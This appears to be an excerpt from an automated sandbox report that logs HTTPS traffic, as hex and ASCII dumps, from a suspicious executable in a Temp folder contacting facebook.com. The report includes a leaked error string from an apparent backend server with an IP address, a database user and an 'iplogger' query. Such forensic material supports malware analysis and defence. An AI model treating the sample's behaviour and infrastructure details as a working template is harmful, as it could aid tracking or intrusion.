2022-10-08 09:35:10 UTC	544	IN	Data Raw: 5f 68 74 6d 6c 22 3a 22 45 73 70 61 5c 75 30 30 66 31 6f 6c 20 28 45 73 70 61 5c 75 30 30 66 31 61 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 37 5f 6a 4a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 46 72 61 6e 5c 75 30 30 65 37 61 69 73 20 28 46 72 61 6e 63 65 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 38 5f 43 67 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 49 74 61 6c 69 61 6e 6f 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 56 42 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4d 61 67 79 61 72 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 44 47 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 65 64 65 72 Data Ascii: _html":"Espa\u00f1ol (Espa\u00f1a)"},1],["__markup_3310c079_0_7_jJ",{"__html":"Fran\u00e7ais (France)"},1],["__markup_3310c079_0_8_Cg",{"__html":"Italiano"},1],["__markup_3310c079_0_9_VB",{"__html":"Magyar"},1],["__markup_3310c079_0_a_DG",{"__html":"Neder
2022-10-08 09:35:10 UTC	546	IN	Data Raw: 38 37 28 5c 75 37 62 38 30 5c 75 34 66 35 33 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 74 5f 61 55 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 39 39 39 39 5c 75 36 65 32 66 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 75 5f 33 33 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 36 35 65 35 5c 75 36 37 32 63 5c 75 38 61 39 65 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 6b 63 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 7d 2c 31 5d 5d 2c 22 65 6c 65 6d 65 6e 74 73 22 3a 5b 5b 22 5f 5f 65 6c 65 6d 5f 30 37 32 62 38 65 36 34 5f 30 5f 30 5f 69 Data Ascii: 87(\u7b80\u4f53)"},1],["__markup_3310c079_0_t_aU",{"__html":"\u4e2d\u6587(\u9999\u6e2f)"},1],["__markup_3310c079_0_u_33",{"__html":"\u65e5\u672c\u8a9e"},1],["__markup_3310c079_0_v_kc",{"__html":"\ud55c\uad6d\uc5b4"},1]],"elements":[["__elem_072b8e64_0_0_i
2022-10-08 09:35:10 UTC	547	IN	Data Raw: 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c Data Ascii: sion\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\
2022-10-08 09:35:10 UTC	549	IN	Data Raw: 7d 5d 5d 2c 5b 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 57 65 62 56 69 72 74 75 61 6c 43 75 72 73 6f 72 43 6c 69 63 6b 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 65 39 34 64 64 38 5f 30 5f 30 5f 70 4e 22 2c 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 68 70 22 5d 2c 5b 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 34 35 65 39 34 64 64 38 5f 30 5f 30 5f 70 4e 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 68 70 22 7d 5d 5d 5d 2c 5b 22 4b 65 79 62 6f 61 72 64 41 63 74 69 76 69 74 79 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 46 6f 63 75 73 52 69 6e 67 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 45 72 72 6f 72 4d 65 73 Data Ascii: }]],["AccessibilityWebVirtualCursorClickLogger","init",["__elem_45e94dd8_0_0_pN","__elem_a588f507_0_0_hp"],[[{"__m":"__elem_45e94dd8_0_0_pN"},{"__m":"__elem_a588f507_0_0_hp"}]]],["KeyboardActivityLogger","init",[],[]],["FocusRing","init",[],[]],["ErrorMes
2022-10-08 09:35:10 UTC	550	IN	Data Raw: 7b 22 70 75 62 6c 69 63 4b 65 79 22 3a 22 35 33 65 61 64 32 30 36 32 38 62 35 63 38 35 38 61 38 38 66 34 30 33 32 38 61 66 66 32 36 65 63 30 38 35 34 30 62 38 63 39 61 35 66 63 65 38 64 34 31 63 31 30 34 65 37 61 32 34 34 64 36 31 33 22 2c 22 6b 65 79 49 64 22 3a 32 31 34 7d 7d 5d 5d 2c 5b 22 42 72 6f 77 73 65 72 50 72 65 66 69 6c 6c 4c 6f 67 67 69 6e 67 22 2c 22 69 6e 69 74 43 6f 6e 74 61 63 74 70 6f 69 6e 74 46 69 65 6c 64 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 7b 22 63 6f 6e 74 61 63 74 70 6f 69 6e 74 46 69 65 6c 64 49 44 22 3a 22 65 6d 61 69 6c 22 2c 22 73 65 72 76 65 72 50 72 65 66 69 6c 6c 22 3a 22 22 7d 5d 5d 2c 5b 22 42 72 6f 77 73 65 72 50 72 65 66 69 6c 6c 4c 6f 67 67 69 6e 67 22 2c 22 69 6e 69 74 50 61 73 73 77 6f 72 64 46 69 65 6c 64 4c 6f 67 Data Ascii: {"publicKey":"53ead20628b5c858a88f40328aff26ec08540b8c9a5fce8d41c104e7a244d613","keyId":214}}]],["BrowserPrefillLogging","initContactpointFieldLogging",[],[{"contactpointFieldID":"email","serverPrefill":""}]],["BrowserPrefillLogging","initPasswordFieldLog
2022-10-08 09:35:10 UTC	552	IN	Data Raw: 72 65 29 20 7b 20 7d 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 6e 6f 77 5f 69 6e 6c 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 70 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 72 65 74 75 72 6e 20 70 26 26 70 2e 6e 6f 77 26 26 70 2e 74 69 6d 69 6e 67 26 26 70 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 2e 6e 6f 77 28 29 2b 70 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 7d 3b 7d 29 28 29 3b 77 69 6e 64 6f 77 2e 5f 5f 62 69 67 50 69 70 65 46 52 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 3c 2f 73 63 Data Ascii: re) { }});</script><script>now_inl=(function(){var p=window.performance;return p&&p.now&&p.timing&&p.timing.navigationStart?function(){return p.now()+p.timing.navigationStart}:function(){return new Date().getTime()};})();window.__bigPipeFR=now_inl();</sc
2022-10-08 09:35:10 UTC	553	IN	Data Raw: 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 67 2f 6c 2f 30 2c 63 72 6f 73 73 2f 64 58 78 43 66 57 73 4c 64 52 75 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 35 2f 72 2f 5f 4b 5f 76 47 37 74 48 55 32 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 4d 36 54 5a 47 37 32 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 Data Ascii: ://static.xx.fbcdn.net/rsrc.php/v3/yg/l/0,cross/dXxCfWsLdRu.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/y5/r/_K_vG7tHU2Y.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="M6TZG72n" /><link rel="preload" h
2022-10-08 09:35:10 UTC	555	IN	Data Raw: 67 65 6c 65 74 41 72 72 69 76 65 28 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4d 36 54 5a 47 37 32 6e 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 7b 64 69 73 70 6c 61 79 52 65 73 6f 75 72 63 65 73 3a 5b 22 31 33 45 77 71 6a 69 22 2c 22 2f 6f 30 47 44 55 6d 22 2c 22 70 6c 43 48 4f 72 72 22 2c 22 55 32 2b 36 53 48 35 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 36 71 Data Ascii: geletArrive("first_response",n);})})();</script><script nonce="M6TZG72n">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletArrive({displayResources:["13Ewqji","/o0GDUm","plCHOrr","U2+6SH5","n6W4xMH","8zbEZtu","hKY0QKT","vGt2mxz","h3ZzAmG","6q
2022-10-08 09:35:10 UTC	556	IN	Data Raw: 30 30 2c 69 6e 74 65 72 61 63 74 69 6f 6e 5f 74 6f 5f 6c 69 74 65 5f 63 6f 69 6e 66 6c 69 70 3a 7b 41 44 53 5f 49 4e 54 45 52 46 41 43 45 53 5f 49 4e 54 45 52 41 43 54 49 4f 4e 3a 30 2c 61 64 73 5f 70 65 72 66 5f 73 63 65 6e 61 72 69 6f 3a 30 2c 61 64 73 5f 77 61 69 74 5f 74 69 6d 65 3a 30 2c 45 76 65 6e 74 3a 31 7d 2c 69 6e 74 65 72 61 63 74 69 6f 6e 5f 74 6f 5f 63 6f 69 6e 66 6c 69 70 3a 7b 41 44 53 5f 49 4e 54 45 52 46 41 43 45 53 5f 49 4e 54 45 52 41 43 54 49 4f 4e 3a 31 2c 61 64 73 5f 70 65 72 66 5f 73 63 65 6e 61 72 69 6f 3a 31 2c 61 64 73 5f 77 61 69 74 5f 74 69 6d 65 3a 31 2c 45 76 65 6e 74 3a 31 30 30 7d 2c 65 6e 61 62 6c 65 5f 68 65 61 72 74 62 65 61 74 3a 74 72 75 65 2c 6d 61 78 42 6c 6f 63 6b 4d 65 72 67 65 44 75 72 61 74 69 6f 6e 3a 30 2c 6d Data Ascii: 00,interaction_to_lite_coinflip:{ADS_INTERFACES_INTERACTION:0,ads_perf_scenario:0,ads_wait_time:0,Event:1},interaction_to_coinflip:{ADS_INTERFACES_INTERACTION:1,ads_perf_scenario:1,ads_wait_time:1,Event:100},enable_heartbeat:true,maxBlockMergeDuration:0,m
2022-10-08 09:35:10 UTC	558	IN	Data Raw: 6f 65 69 4f 79 32 38 76 43 75 4d 62 62 70 52 4d 45 7a 70 41 64 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 30 38 38 35 37 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 31 5f 61 63 54 62 31 36 55 36 6d 62 78 39 52 2d 6f 44 31 34 36 65 31 48 5f 74 48 65 5a 54 4b 4b 7a 35 39 39 66 53 70 74 42 51 33 61 43 34 73 2d 6c 4f 6e 33 47 52 75 41 6b 6a 6f 78 7a 6a 72 6f 78 66 4b 34 5f 4e 4a 52 4a 61 33 43 65 48 5a 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 34 31 35 38 22 2c 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 2c 22 41 61 30 50 57 52 53 77 4d 5f 73 47 4f 4b 37 38 30 54 4e 76 36 48 37 61 42 54 39 71 5f 5a 74 6d 41 5a 7a 4e 5f 6f 63 33 6e 37 32 54 49 43 53 51 51 Data Ascii: oeiOy28vCuMbbpRMEzpAdM"]},-1],["cr:1108857",[],{__rc:[null,"Aa1_acTb16U6mbx9R-oD146e1H_tHeZTKKz599fSptBQ3aC4s-lOn3GRuAkjoxzjroxfK4_NJRJa3CeHZw"]},-1],["cr:1294158",["React.classic"],{__rc:["React.classic","Aa0PWRSwM_sGOK780TNv6H7aBT9q_ZtmAZzN_oc3n72TICSQQ
2022-10-08 09:35:10 UTC	559	IN	Data Raw: 2c 22 71 65 78 22 2c 22 72 65 71 75 69 72 65 5f 63 6f 6e 64 5f 65 78 70 6f 73 75 72 65 5f 6c 6f 67 67 69 6e 67 22 5d 2c 73 68 6f 75 6c 64 5f 64 72 6f 70 5f 75 6e 6b 6e 6f 77 6e 5f 72 6f 75 74 65 73 3a 74 72 75 65 2c 73 68 6f 75 6c 64 5f 6c 6f 67 5f 75 6e 6b 6e 6f 77 6e 5f 72 6f 75 74 65 73 3a 66 61 6c 73 65 7d 2c 37 5d 2c 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 72 65 6c 6f 61 64 4f 6e 42 6f 6f 74 6c 6f 61 64 45 72 72 6f 72 3a 74 72 75 65 7d 2c 31 30 36 37 5d 2c 5b 22 63 72 3a 36 39 32 32 30 39 22 2c 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 2c 22 41 61 30 48 6a 53 45 76 45 62 52 Data Ascii: ,"qex","require_cond_exposure_logging"],should_drop_unknown_routes:true,should_log_unknown_routes:false},7],["PageTransitionsConfig",[],{reloadOnBootloadError:true},1067],["cr:692209",["cancelIdleCallbackBlue"],{__rc:["cancelIdleCallbackBlue","Aa0HjSEvEbR
2022-10-08 09:35:10 UTC	560	IN	Data Raw: 6d 56 6b 72 7a 45 7a 58 72 59 70 6b 6e 5f 66 7a 48 76 4d 66 34 4f 65 4c 56 78 38 44 71 43 38 6a 54 43 64 62 34 69 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 54 72 61 63 6b 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 64 6f 6d 61 69 6e 0d 0a Data Ascii: mVkrzEzXrYpkn_fzHvMf4OeLVx8DqC8jTCdb4iw"]},-1],["TrackingConfig",[],{domain
2022-10-08 09:35:10 UTC	561	IN	Data Raw: 65 63 38 0d 0a 3a 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 7d 2c 33 32 35 5d 2c 5b 22 57 65 62 44 65 76 69 63 65 50 65 72 66 49 6e 66 6f 44 61 74 61 22 2c 5b 5d 2c 7b 6e 65 65 64 73 46 75 6c 6c 55 70 64 61 74 65 3a 74 72 75 65 2c 6e 65 65 64 73 50 61 72 74 69 61 6c 55 70 64 61 74 65 3a 66 61 6c 73 65 2c 73 68 6f 75 6c 64 4c 6f 67 52 65 73 6f 75 72 63 65 50 65 72 66 3a 66 61 6c 73 65 7d 2c 33 39 37 37 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 4c 6f 67 67 69 6e 67 55 52 49 22 2c 5b 5d 2c 7b 75 72 69 3a 22 2f 61 6a 61 78 2f 77 65 62 73 74 6f 72 61 67 65 2f 70 72 6f 63 65 73 73 5f 6b 65 79 73 2f 3f 73 74 61 74 65 3d 31 22 7d 2c 33 30 33 32 5d 2c 5b 22 42 72 6f 77 73 65 72 50 61 79 6d 65 6e 74 48 Data Ascii: ec8:"https://pixel.facebook.com"},325],["WebDevicePerfInfoData",[],{needsFullUpdate:true,needsPartialUpdate:false,shouldLogResourcePerf:false},3977],["WebStorageMonsterLoggingURI",[],{uri:"/ajax/webstorage/process_keys/?state=1"},3032],["BrowserPaymentH
2022-10-08 09:35:10 UTC	562	IN	Data Raw: 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 Data Ascii: 153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/w
2022-10-08 09:35:10 UTC	563	IN	Data Raw: 73 72 70 3a 7b 68 73 64 70 3a 7b 63 6c 70 44 61 74 61 3a 7b 22 31 38 37 31 36 39 37 22 3a 7b 72 3a 31 2c 73 3a 31 7d 2c 22 31 38 32 39 33 31 39 22 3a 7b 72 3a 31 7d 2c 22 31 38 32 39 33 32 30 22 3a 7b 72 3a 31 7d 2c 22 31 38 34 33 39 38 38 22 3a 7b 72 3a 31 7d 7d 7d 2c 68 62 6c 70 3a 7b 63 6f 6e 73 69 73 74 65 6e 63 79 3a 7b 72 65 76 3a 31 30 30 36 33 35 35 33 32 37 7d 2c 72 73 72 63 4d 61 70 3a 7b 22 59 6b 74 6b 2f 52 55 22 3a 7b 74 79 70 65 3a 22 6a 73 22 2c 73 72 63 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 78 2f 72 2f 55 74 34 6f 4f 4c 55 43 39 4c 4f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 6e 63 3a 31 7d 7d 2c 63 6f 6d 70 4d 61 70 3a 7b Data Ascii: srp:{hsdp:{clpData:{"1871697":{r:1,s:1},"1829319":{r:1},"1829320":{r:1},"1843988":{r:1}}},hblp:{consistency:{rev:1006355327},rsrcMap:{"Yktk/RU":{type:"js",src:"https://static.xx.fbcdn.net/rsrc.php/v3/yx/r/Ut4oOLUC9LO.js?_nc_x=Ij3Wp8lg5Kz",nc:1}},compMap:{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49713	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-08 09:35:17 UTC	564	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-10-08 09:35:18 UTC	566	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: jPm17D2qRITe6KqQToLFbnVfUp/wUe3Vv/albjq0RRg1U9YjSREYSbbRXIIG3d3nvGlwK8019BFMQMQcfULPZQ== Date: Sat, 08 Oct 2022 09:35:18 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-10-08 09:35:18 UTC	567	IN	Data Raw: 34 31 65 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 74 47 6e 67 37 72 64 67 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 41e3<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="tGng7rdg">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-10-08 09:35:18 UTC	567	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 47 6e 67 37 72 64 67 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="tGng7rdg"></sty
2022-10-08 09:35:18 UTC	569	IN	Data Raw: 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 